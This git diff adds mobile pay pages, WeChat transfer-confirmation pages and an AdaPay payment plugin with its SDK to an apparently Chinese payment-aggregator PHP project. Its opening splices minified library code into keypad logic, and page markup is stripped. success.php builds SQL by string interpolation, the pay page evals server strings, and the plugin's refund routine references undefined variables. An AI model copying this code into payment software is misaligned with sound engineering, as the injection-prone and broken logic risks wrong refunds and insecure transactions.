c&(Na|Oa)?b=a.overallVelocity:c&Na?b=a.overallVelocityX:c&Oa&&(b=a.overallVelocityY),this._super.attrTest.call(this,a)&&c&a.offsetDirection&&a.distance>this.options.threshold&&a.maxPointers==this.options.pointers&&qa(b)>this.options.velocity&&a.eventType&Ga},emit:function(a){var b=$(a.offsetDirection);b&&this.manager.emit(this.options.event+b,a),this.manager.emit(this.options.event,a)}}),i(ga,Y,{defaults:{event:"tap",pointers:1,taps:1,interval:300,time:250,threshold:9,posThreshold:10},getTouchAction:function(){return[ib]},process:function(a){var b=this.options,c=a.pointers.length===b.pointers,d=a.distance -1 ? valueCur : valueCur + '.'; + break; + case 'delete' : + valueCur = valueCur.slice(0,valueCur.length-1); + break; + default : + valueCur = valueCur === '0' ? value : valueCur + value; + } + + if(!!valueCur && value !== 'delete' && value !== 'dot') { + var re = /^\d{1,9}(\.\d{0,2})?$/; + var limitLen = re.test(valueCur); + if (!limitLen) { + valueCur = valueCur.slice(0,valueCur.length-1); + return; + } + } + format(); +} + +//format +function format(){ + var arr = valueCur.split('.'); + var right = arr.length === 2 ? '.'+arr[1] : ''; + var num = arr[0]; + var left = ''; + while(num.length > 3){ + left = ',' + num.slice(-3) + left; + num = num.slice(0,num.length - 3); + } + left = num + left; + valueFormat = left+right; + valueFinal = valueCur === '' ? 0 : parseFloat(valueCur); + check(); +} + +//check +function check(){ + amount.innerHTML = valueFormat; + if(valueFormat.length > 0){ + clearBtn.classList.remove('none'); + }else{ + clearBtn.classList.add('none'); + } + if(valueFinal === 0 || valueCur.match(/\.$/)){ + payBtn.classList.add('disable'); + }else{ + payBtn.classList.remove('disable'); + } +} + +//clear +function clearFun(){ + valueCur = ''; + valueFormat = ''; + valueFinal = 0; + amount.innerHTML = ''; + clearBtn.classList.add('none'); + payBtn.classList.add('disable'); +} + +//submit +function submitFun(){ + if(!submitAble || payBtn.classList.contains('disable')){ + return; + } + var txAmount = $("#txAmount").val(); + if (!!txAmount && txAmount > 0) { + valueFinal = txAmount; + } + if(valueFinal == 0){ + tips.show('请输入金额!'); + return; + } + + var amount = valueFinal; + var uid = $("#uid").val(); + var paytype = $("#paytype").val(); + var token = $("#token").val(); + var direct = $("#direct").val(); + var payer = $("#payer").val(); + var remark = document.querySelector("#remark-content").innerText; + + submitAble = false; + loading.show(); + new Post({ + url : 'ajax.php', + dataType : 'json', + data : {"money":amount,"payer":payer,"uid":uid,"paytype":paytype,"direct":direct,"remark":remark,"token":token}, + error : function(){ + loading.hide(); + submitAble = true; + //update by yuwm 2018.03.14 + tips.show('网络异常,请重新发起支付'); + }, + success : function(data){ + loading.hide(); + if(data.code=="0"){//success + $("#trade_no").val(data.trade_no); + if (data.direct==1) { + if (paytype == 'wxpay') { + WxpayJsPay(data.paydata); + } else if (paytype == 'alipay') { + AlipayJsPay(data.paydata); + } else if (paytype == 'qqpay') { + QQJsPay(data.paydata); + } + }else{ + window.location.href= data.url; + } + }else{ + tips.show(data.msg); + } + submitAble = true; + } + }); +} + +//region WX JS +function WxpayJsPay(payStr){ + var jsonPayStr = eval("("+payStr+")"); + WeixinJSBridge.invoke( + 'getBrandWCPayRequest', + jsonPayStr, + function(res){ + // 使用以上方式判断前端返回,微信团队郑重提示:res.err_msg将在用户支付成功后返回 ok,但并不保证它绝对可靠。 + if(res.err_msg == "get_brand_wcpay_request:ok" ) { + // 支付成功则关闭窗口 + // tips.show("支付成功"); + //WeixinJSBridge.call('closeWindow'); + window.location.href="./success.php?trade_no="+$("#trade_no").val(); + } else if(res.err_msg == "get_brand_wcpay_request:cancel") { + // tips.show("支付过程中用户取消"); + } else if(res.err_msg == "get_brand_wcpay_request:fail") { + tips.show("支付失败"); + }else{ + tips.show("支付失败"); + } + } + ); +} +//endregion + +//region ALI JS +function AlipayJsPay(payStr) { + var trade_no = $("#trade_no").val(); + Alipayready(function(){ + AlipayJSBridge.call("tradePay",{ + tradeNO: payStr + }, function(result){ + var msg = ""; + if(result.resultCode == "9000"){ + //AlipayJSBridge.call('closeWebview'); + window.location.href="./success.php?trade_no="+$("#trade_no").val(); + }else if(result.resultCode == "8000"){ + msg = "正在处理中"; + }else if(result.resultCode == "4000"){ + msg = "订单支付失败"; + }else if(result.resultCode == "6002"){ + msg = "网络连接出错"; + } + if (msg!="") { + tips.show(msg); + } + }); + }); +} +function Alipayready(callback) { + // 如果jsbridge已经注入则直接调用 + if (window.AlipayJSBridge) { + callback && callback(); + } else { + // 如果没有注入则监听注入的事件 + document.addEventListener('AlipayJSBridgeReady', callback, false); + } +} +//endregion + +//region QQ JS +function QQJsPay(payStr){ + var trade_no = $("#trade_no").val(); + var jsonPayStr = eval("("+payStr+")"); + mqq.tenpay.pay({ + tokenId: jsonPayStr.tokenId, + appInfo: jsonPayStr.appInfo + }, function(result, resultCode){ + if(resultCode == 0){ //支付成功 + //mqq.ui.popBack(); + window.location.href="./success.php?trade_no="+$("#trade_no").val(); + }else{ + tips.show("支付失败"); + } + }); +} +//endregion + + +var keyboard = getId('keyboard'); +var clearBtn = getId('clearBtn'); +var payBtn = getId('payBtn'); +var valueCur = ''; +var valueFormat = ''; +var submitAble = true; +var valueFinal = 0; + +new Hammer(keyboard).on('tap',keypress); +new Hammer(payBtn).on('tap',submitFun); +new Hammer(clearBtn).on('tap',clearFun); + +var txAmount = $("#txAmount").val(); +if (!!txAmount && txAmount > 0) { + submitFun() +} diff --git a/paypage/success.php b/paypage/success.php new file mode 100644 index 0000000..154fb8d --- /dev/null +++ b/paypage/success.php @@ -0,0 +1,68 @@ +getRow("SELECT * FROM pre_order WHERE trade_no='{$trade_no}' limit 1"); +if(!$row)showerror('订单号不存在'); +if($row['status']!=1)showerror('订单未完成支付'); +if(!isset($_SESSION['paypage_trade_no']) || $_SESSION['paypage_trade_no']!=$trade_no)showerror('订单校验失败'); +$userrow=$DB->getRow("select codename,username from pre_user where uid='{$row['uid']}' limit 1"); +$codename = !empty($userrow['codename'])?$userrow['codename']:$userrow['username']; +?> + + + + + 支付成功页面 + + + + +
    +
    +
    +
    + +
    +
    +

    支付成功

    +

    ¥

    +
    +
    +
    + 收款方 + +
    +
    + 完成时间 + +
    +
    + 订单号 + +
    +
    +
    +
    +
    +

    + 关闭 +

    +
    +
    + +
    +
    +
    +
    + + + + + + \ No newline at end of file diff --git a/paypage/wxtrans.php b/paypage/wxtrans.php new file mode 100644 index 0000000..7251aff --- /dev/null +++ b/paypage/wxtrans.php @@ -0,0 +1,92 @@ +find('transfer', '*', ['biz_no'=>$id]); + if(!$row) showerror('转账订单号不存在'); + if($row['type'] != 'wxpay') showerror('转账类型错误'); + if($row['status'] == 2) showerror('转账已失败,请重新提交!失败原因:'.$row['result']); + if(empty($row['ext'])) showerror('package_info不存在'); + $channelid = $row['channel']; + $out_biz_no = $row['biz_no']; + $money = $row['money']; + $addtime = $row['addtime']; + $paytime = $row['paytime']; + $package_info = $row['ext']; + +}elseif($type == 'settle'){ + $row = $DB->find('settle', '*', ['id'=>$id]); + if(!$row) showerror('结算记录不存在'); + if(empty($row['transfer_no']) || empty($row['transfer_channel'])) showerror('结算记录未发起转账'); + if($row['transfer_status'] == 2) showerror('转账已失败,请重新提交!失败原因:'.$row['result']); + if(empty($row['transfer_ext'])) showerror('package_info不存在'); + $channelid = $row['transfer_channel']; + $out_biz_no = $row['transfer_no']; + $money = $row['realmoney']; + $addtime = $row['transfer_date']; + $paytime = $row['endtime']; + $package_info = $row['transfer_ext']; + +}else{ + showerror('类型错误'); +} + +$channel = \lib\Channel::get($channelid); +if(!$channel) showerror('当前支付通道信息不存在'); +$wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); +if(!$wxinfo) showerror('支付通道绑定的微信公众号不存在'); +$url = rtrim($siteurl, '/').$_SERVER['REQUEST_URI']; + +if(!checkwechat()) showerror('请在微信客户端打开链接'); + +$result = \lib\Transfer::query('wxpay', $channel, $out_biz_no, ''); +if($result['code'] == 0){ + if($result['status'] == 2){ + if($type == 'transfer' && $row['status'] == 0){ + $resCount = $DB->update('transfer', ['status'=>2, 'result'=>$result['errmsg']], ['biz_no' => $out_biz_no]); + if($row['uid'] > 0 && $resCount > 0){ + changeUserMoney($row['uid'], $row['costmoney'], true, '代付退回'); + } + }elseif($type == 'settle' && $row['transfer_status'] == 1){ + $DB->update('settle', ['transfer_status'=>2, 'transfer_result'=>$result['errmsg'], 'status'=>3, 'result'=>$result['errmsg']], ['id' => $row['id']]); + } + showerror('转账已失败,请重新提交!失败原因:'.$result['errmsg']); + }elseif($result['status'] == 1){ + if($type == 'transfer' && $row['status'] == 0){ + $paytimen = $result['paydate'] ?? 'NOW()'; + $DB->update('transfer', ['status'=>1, 'paytime'=>$paytimen, 'result'=>''], ['biz_no' => $out_biz_no]); + } + if(empty($paytime)) $paytime = date("Y-m-d H:i:s"); + include ROOT.'paypage/wxtrans_success.php'; + exit; + } +} + +if(isset($_GET['do']) && $_GET['do'] == 'success'){ + $paytime = date("Y-m-d H:i:s"); + include ROOT.'paypage/wxtrans_success.php'; + exit; +} + +try{ + $wechat = new \lib\wechat\WechatAPI($wxinfo['id']); + $wxconfig = $wechat->getJsapiConfig($wxinfo['appid'], $url, ['requestMerchantTransfer']); + $wxconfig = json_encode($wxconfig); +}catch(Exception $e){ + showerror($e->getMessage()); +} + +$wxtransfer = [ + 'mchId' => $channel['appmchid'], + 'appId' => $wxinfo['appid'], + 'package' => $package_info, +]; +$wxtransfer = json_encode($wxtransfer); + +include ROOT.'paypage/wxtrans_confirm.php'; +exit; \ No newline at end of file diff --git a/paypage/wxtrans_confirm.php b/paypage/wxtrans_confirm.php new file mode 100644 index 0000000..f671150 --- /dev/null +++ b/paypage/wxtrans_confirm.php @@ -0,0 +1,90 @@ + + + + + 确认收款页面 + + + + +
    +
    +
    +
    + +
    +
    +

    待你收款

    +

    ¥

    +
    +
      +
    • +
    +
    +
    +
    +

    + 收款 +

    +
    +
    +

    1天内未确认,将退还给商家

    +
    +
    + +
    +
    + +
    +
    + + + + + \ No newline at end of file diff --git a/paypage/wxtrans_success.php b/paypage/wxtrans_success.php new file mode 100644 index 0000000..ffc86ac --- /dev/null +++ b/paypage/wxtrans_success.php @@ -0,0 +1,61 @@ + + + + + 确认收款页面 + + + + +
    +
    +
    +
    + +
    +
    +

    你已收款,资金已存入零钱

    +

    ¥

    +
    +
      +
    • +
    • +
    +
    +
    +
    +

    + 关闭 +

    +
    +
    + +
    +
    +
    +
    + + + + \ No newline at end of file diff --git a/plugins/.htaccess b/plugins/.htaccess new file mode 100644 index 0000000..3418e55 --- /dev/null +++ b/plugins/.htaccess @@ -0,0 +1 @@ +deny from all \ No newline at end of file diff --git a/plugins/adapay/adapay_plugin.php b/plugins/adapay/adapay_plugin.php new file mode 100644 index 0000000..948b341 --- /dev/null +++ b/plugins/adapay/adapay_plugin.php @@ -0,0 +1,517 @@ + 'adapay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => 'AdaPay聚合支付', //支付插件显示名称 + 'author' => 'AdaPay', //支付插件作者 + 'link' => 'https://www.adapay.tech/', //支付插件作者链接 + 'types' => ['alipay','wxpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '应用App_ID', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => 'prod模式API_KEY', + 'type' => 'input', + 'note' => '', + ], + 'appsecret' => [ + 'name' => '商户RSA私钥', + 'type' => 'textarea', + 'note' => '', + ], + ], + 'select' => null, + 'select_alipay' => [ + '1' => '扫码支付', + '2' => 'JS支付', + '3' => '托管小程序支付', + ], + 'select_wxpay' => [ + '1' => '自有公众号/小程序支付', + '2' => '动态二维码支付', + '3' => '托管小程序支付', + ], + 'select_bank' => [ + '1' => '银联支付', + '2' => '快捷支付', + '3' => '网银支付', + ], + 'note' => '', //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + if(checkalipay() && in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/alipayjs/'.TRADE_NO.'/?d=1']; + }else{ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='wxpay'){ + if(in_array('1',$channel['apptype']) && checkwechat()){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif(checkmobile()){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='bank'){ + if(in_array('3',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + }elseif(in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/quickpay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/unionpay/'.TRADE_NO.'/']; + } + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $device, $mdevice; + + if($order['typename']=='alipay'){ + if($mdevice=='alipay' && in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>$siteurl.'pay/alipayjs/'.TRADE_NO.'/?d=1']; + }else{ + return self::alipay(); + } + }elseif($order['typename']=='wxpay'){ + if(in_array('1',$channel['apptype']) && $mdevice=='wechat'){ + return ['type'=>'jump','url'=>$siteurl.'pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif($device=='mobile'){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='bank'){ + if(in_array('3',$channel['apptype'])){ + return self::bank(); + }elseif(in_array('2',$channel['apptype'])){ + return self::quickpay(); + }else{ + return self::unionpay(); + } + } + } + + //通用创建订单 + static private function addOrder($pay_channel, $openid = null){ + global $channel, $order, $ordername, $conf, $clientip; + + require PAY_ROOT . 'inc/Build.class.php'; + $pay_config = include PAY_ROOT . 'inc/config.php'; + $params = [ + 'order_no' => TRADE_NO, + 'pay_channel' => $pay_channel, + 'pay_amt' => $order['realmoney'], + 'goods_title' => $ordername, + 'goods_desc' => $ordername, + 'currency' => 'cny', + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + ]; + if ($pay_channel === 'wx_pub' || $pay_channel === 'wx_lite') { + $params['expend'] = [ + 'openid' => $openid, + ]; + }elseif ($pay_channel === 'alipay_pub' || $pay_channel === 'alipay_lite') { + $params['expend'] = [ + 'buyer_id' => $openid, + ]; + } + if($order['profits'] > 0){ + $params['pay_mode'] = 'delay'; + } + /*if($order['profits'] > 0){ + $psreceiver = \lib\ProfitSharing\CommUtil::getReceiver($order['profits']); + if($psreceiver){ + $psmoney = round(floor($order['realmoney'] * $psreceiver['rate']) / 100, 2); + $psmoney2 = round($order['realmoney']-$psmoney, 2); + $div_members = []; + $div_members[] = ['member_id'=>$psreceiver['account'], 'amount' => sprintf('%.2f' , $psmoney), 'fee_flag'=>'N']; + if($psmoney2 > 0){ + $div_members[] = ['member_id'=>'0', 'amount' => sprintf('%.2f' , $psmoney2), 'fee_flag'=>'Y']; + }else{ + $div_members[0]['fee_flag'] = 'Y'; + } + $params['div_members'] = $div_members; + } + }*/ + return \lib\Payment::lockPayData(TRADE_NO, function() use($pay_config, $params) { + $result = AdaPay::config($pay_config)->createPayment($params); + return $result['expend']; + }); + } + + //跳转支付创建订单 + static private function pagepay($func_code, $pay_channel){ + global $channel, $order, $ordername, $conf, $clientip, $siteurl; + + require PAY_ROOT . 'inc/Build.class.php'; + $pay_config = include PAY_ROOT . 'inc/config.php'; + $params = [ + 'adapay_func_code' => $func_code, + 'order_no' => TRADE_NO, + 'pay_channel' => $pay_channel, + 'pay_amt' => $order['realmoney'], + 'goods_title' => $ordername, + 'goods_desc' => $ordername, + 'currency' => 'cny', + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'callback_url' => $siteurl.'pay/return/'.TRADE_NO.'/', + ]; + if($order['profits'] > 0){ + $params['pay_mode'] = 'delay'; + } + + return \lib\Payment::lockPayData(TRADE_NO, function() use($pay_config, $params) { + $result = AdaPay::config($pay_config)->queryAdapay($params); + return $result['expend']; + }); + } + + //收银台创建订单 + static private function checkout($pay_channel, $member_id = null){ + global $channel, $order, $ordername, $conf, $clientip, $siteurl; + + require PAY_ROOT . 'inc/Build.class.php'; + $pay_config = include PAY_ROOT . 'inc/config.php'; + $params = [ + 'adapay_func_code' => 'checkout', + 'order_no' => TRADE_NO, + 'pay_channel' => $pay_channel, + 'pay_amt' => $order['realmoney'], + 'goods_title' => $ordername, + 'goods_desc' => $ordername, + 'currency' => 'cny', + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'callback_url' => $siteurl.'pay/return/'.TRADE_NO.'/', + ]; + if($member_id){ + $params['member_id'] = $member_id; + } + + return \lib\Payment::lockPayData(TRADE_NO, function() use($pay_config, $params) { + $result = AdaPay::config($pay_config)->queryAdapay($params); + return $result['expend']; + }); + } + + //支付宝扫码支付 + static public function alipay(){ + global $channel, $device, $mdevice, $siteurl; + if(in_array('1',$channel['apptype']) || empty($channel['apptype'][0])){ + try{ + $result = self::addOrder('alipay_qr'); + }catch (Exception $e) { + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + $code_url = $result['qrcode_url']; + }elseif(in_array('2',$channel['apptype'])){ + $code_url = $siteurl.'pay/alipayjs/'.TRADE_NO.'/'; + }elseif(in_array('3',$channel['apptype'])){ + try{ + $result = self::pagepay('prePay.preOrder', 'alipay_lite'); + }catch (Exception $e) { + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + $code_url = $result['ali_h5_pay_url']; + if(checkalipay() || $mdevice=='alipay'){ + return ['type'=>'jump','url'=>$code_url]; + }elseif(checkmobile() || $device=='mobile'){ + return ['type'=>'page','page'=>'alipay_h5','data'=>['code_url'=>$code_url, 'redirect_url'=>'data.backurl']]; + } + } + + if(checkalipay() || $mdevice=='alipay'){ + return ['type'=>'jump','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + } + + static public function alipayjs(){ + [$user_type, $user_id] = alipay_oauth(); + + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + + if($user_type == 'openid'){ + return ['type'=>'error','msg'=>'支付宝快捷登录获取uid失败,需将用户标识切换到uid模式']; + } + + try{ + $result = self::addOrder('alipay_pub', $user_id); + $payinfo = json_decode($result['pay_info'], true); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'alipay_jspay','data'=>['alipay_trade_no'=>$payinfo['tradeNO'], 'redirect_url'=>$redirect_url]]; + } + + //微信扫码支付 + static public function wxpay(){ + global $siteurl, $channel, $device, $mdevice; + + if(in_array('2',$channel['apptype'])){ + try{ + $result = self::pagepay('qrPrePay.qrPreOrder', ''); + }catch (Exception $e) { + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + $code_url = $result['qr_pay_url']; + }elseif(in_array('3',$channel['apptype']) && !in_array('1',$channel['apptype'])){ + $code_url = $siteurl.'pay/wxwappay/'.TRADE_NO.'/'; + }else{ + $code_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + } + + if(checkwechat() || $mdevice == 'wechat'){ + return ['type'=>'jump','url'=>$code_url]; + } elseif (checkmobile() || $device == 'mobile') { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //微信公众号支付 + static public function wxjspay(){ + global $siteurl, $channel, $order; + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + //②、统一下单 + try{ + $result = self::addOrder('wx_pub', $openid); + }catch (Exception $e) { + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + + $jsApiParameters = $result['pay_info']; + + if($_GET['d']==1){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>$jsApiParameters, 'redirect_url'=>$redirect_url]]; + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + if($channel['appwxa']>0 && in_array('1',$channel['apptype'])){ + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + try{ + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }elseif(in_array('3',$channel['apptype'])){ //托管小程序支付 + try{ + $result = self::pagepay('wxpay.createOrder', 'wx_lite'); + }catch (Exception $e) { + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + $code_url = $result['scheme_code']; + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }else{ + return self::wxpay(); + } + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + try{ + $result = self::addOrder('wx_lite', $openid); + }catch (Exception $e) { + exit('{"code":-1,"msg":"微信支付下单失败!'.$e->getMessage().'"}'); + } + + $jsApiParameters = $result['pay_info']; + exit(json_encode(['code'=>0, 'data'=>json_decode($jsApiParameters, true)])); + } + + //云闪付扫码支付 + static public function unionpay(){ + try{ + $result = self::addOrder('union_qr'); + }catch (Exception $e) { + return ['type'=>'error','msg'=>'云闪付下单失败!'.$e->getMessage()]; + } + + $code_url = $result['qrcode_url']; + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //快捷支付 + static public function quickpay(){ + if(!empty($_COOKIE['adapay_user_id'])){ + $user_id = $_COOKIE['adapay_user_id']; + }else{ + $user_id = substr(getSid(), 0, 10); + setcookie('adapay_user_id', $user_id, time()+3600*24*365, '/'); + } + try{ + $result = self::checkout('fast_pay', $user_id); + $code_url = $result['pay_url']; + }catch (Exception $e) { + return ['type'=>'error','msg'=>'快捷支付下单失败!'.$e->getMessage()]; + } + return ['type'=>'jump','url'=>$code_url]; + } + + //网银支付 + static public function bank(){ + try{ + $result = self::checkout('online_pay'); + $code_url = $result['pay_url']; + }catch (Exception $e) { + return ['type'=>'error','msg'=>'网银支付下单失败!'.$e->getMessage()]; + } + return ['type'=>'jump','url'=>$code_url]; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + //file_put_contents('logs.txt',http_build_query($_POST)); + + require_once PAY_ROOT . 'inc/Build.class.php'; + $app = AdaPay::config(include PAY_ROOT . 'inc/config.php'); + if ($app->ada_tools->verifySign($_POST['sign'] , $_POST['data'])) { + $_data = json_decode($_POST['data'] , true); + if ($_data['status'] == 'succeeded') { + $api_trade_no = daddslashes($_data['id']); + $trade_no = daddslashes($_data['order_no']); + $orderAmount = sprintf('%.2f' , $_data['pay_amt']); + if ($trade_no == TRADE_NO) { + processNotify($order, $api_trade_no); + } + return ['type'=>'html','data'=>'Ok']; + } else { + return ['type'=>'html','data'=>'No']; + } + } else { + return ['type'=>'html','data'=>'No']; + } + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + require PAY_ROOT . 'inc/Build.class.php'; + $params = [ + 'payment_id' => $order['api_trade_no'], + 'refund_order_no' => $order['refund_no'], + 'refund_amt' => $order['realmoney'] + ]; + if($order['profits'] > 0){ + $psorder = \lib\ProfitSharing\CommUtil::getOrder($order['trade_no']); + if($psorder && ($psorder['status'] == 1 || $psorder['status'] == 2)){ + $div_members = []; + if(strpos($psorder['account'], '|')){ + $accounts = explode('|', $account); + $rates = explode('|', $psorder['rate']); + $allmoney = 0; + foreach($accounts as $i=>$account){ + $rate = isset($rates[$i]) ? $rates[$i] : $rates[0]; + $money = round($order_money * $rate / 100, 2); + $div_members[] = ['member_id'=>$account, 'amount' => sprintf('%.2f' , $money)]; + $allmoney += $money; + } + if($order_money > $allmoney){ + $psmoney2 = round($order_money-$allmoney, 2); + $div_members[] = ['member_id'=>'0', 'amount' => sprintf('%.2f' , $psmoney2)]; + } + }else{ + $amount = $psorder['money'] > $order['refundmoney'] ? $order['refundmoney'] : $psorder['money']; + $div_members[] = [ + 'member_id' => $psorder['account'], + 'amount' => sprintf('%.2f' , $amount), + ]; + if($order['refundmoney'] > $psorder['money']){ + $amount = round($order['refundmoney'] - $psorder['money'], 2); + $div_members[] = [ + 'member_id' => '0', + 'amount' => sprintf('%.2f' , $amount), + ]; + } + } + $params['payment_id'] = $psorder['settle_no']; + $params['div_members'] = $div_members; + } + } + try{ + $res = AdaPay::config(include PAY_ROOT . 'inc/config.php')->createRefund($params); + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + + if($res['status']=='succeeded'||$res['status']=='pending'){ + $result = ['code'=>0, 'trade_no'=>$res['id'], 'refund_fee'=>$res['refund_amt']]; + }else{ + $result = ['code'=>-1, 'msg'=>'['.$res["error_code"].']'.$res["error_msg"]]; + } + return $result; + } +} \ No newline at end of file diff --git a/plugins/adapay/inc/Build.class.php b/plugins/adapay/inc/Build.class.php new file mode 100644 index 0000000..6c312e8 --- /dev/null +++ b/plugins/adapay/inc/Build.class.php @@ -0,0 +1,369 @@ +SHA1withRSA($data); + return $sign; + } + + public function SHA1withRSA($data) + { + if ($this->checkEmpty($this->rsaPrivateKeyFilePath)) { + $privKey = trim($this->rsaPrivateKey); + $key = "-----BEGIN PRIVATE KEY-----\n" . wordwrap($privKey, 64, "\n", true) . "\n-----END PRIVATE KEY-----"; + } else { + $privKey = file_get_contents($this->rsaPrivateKeyFilePath); + $key = openssl_get_privatekey($privKey); + } + openssl_sign($data , $signature , $key , OPENSSL_ALGO_SHA1); + return base64_encode($signature); + } + + public function verifySign($signature , $data) + { + if ($this->checkEmpty($this->rsaPublicKeyFilePath)) { + $pubKey = trim($this->rsaPublicKey); + $key = "-----BEGIN PUBLIC KEY-----\n" . wordwrap($pubKey, 64, "\n", true) . "\n-----END PUBLIC KEY-----"; + } else { + $pubKey = file_get_contents($this->rsaPublicKeyFilePath); + $key = openssl_get_publickey($pubKey); + } + if (openssl_verify($data , base64_decode($signature) , $key , OPENSSL_ALGO_SHA1)) { + return true; + } + return false; + } + + public function checkEmpty($value) + { + if (!isset($value) || ('' === trim($value)) || is_null($value)) { + return true; + } + return false; + } +} +class AdaPay +{ + const SDK_VERSION = 'v1.0.0'; + static $gateWayUrl = 'https://api.adapay.tech'; //网关地址 + static $header = ['Content-Type:application/json']; + static $headerText = ['Content-Type:text/html']; + static $rsaPrivateKey; + static $rsaPublicKey = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCwN6xgd6Ad8v2hIIsQVnbt8a3JituR8o4Tc3B5WlcFR55bz4OMqrG/356Ur3cPbc2Fe8ArNd/0gZbC9q56Eb16JTkVNA/fye4SXznWxdyBPR7+guuJZHc/VW2fKH2lfZ2P3Tt0QkKZZoawYOGSMdIvO+WqK44updyax0ikK6JlNQIDAQAB"; + static $signType = 'RSA2'; + static $app_id; + static $api_key; + public $ada_tools; + + public function __construct($config_info) + { + if (empty($config_info) || !is_array($config_info)) { + throw new \Exception('缺少SDK配置信息'); + } + if (empty($config_info['app_id'])) { + throw new \Exception('应用AppID不能为空'); + } + if (empty($config_info['api_key_live'])) { + throw new \Exception('API_KEY不能为空'); + } + if (empty($config_info['rsa_private_key'])) { + throw new \Exception('商户RSA私钥不能为空'); + } + + $sdk_version = self::SDK_VERSION; + array_push(self::$header , "sdk_version:{$sdk_version}"); + array_push(self::$headerText , "sdk_version:{$sdk_version}"); + + self::$app_id = trim($config_info['app_id']); + self::$api_key = trim($config_info['api_key_live']); + self::$rsaPrivateKey = trim($config_info['rsa_private_key']); + + $this->ada_tools = new AdaTools(); + $this->ada_tools->rsaPrivateKey = self::$rsaPrivateKey; + $this->ada_tools->rsaPublicKey = self::$rsaPublicKey; + 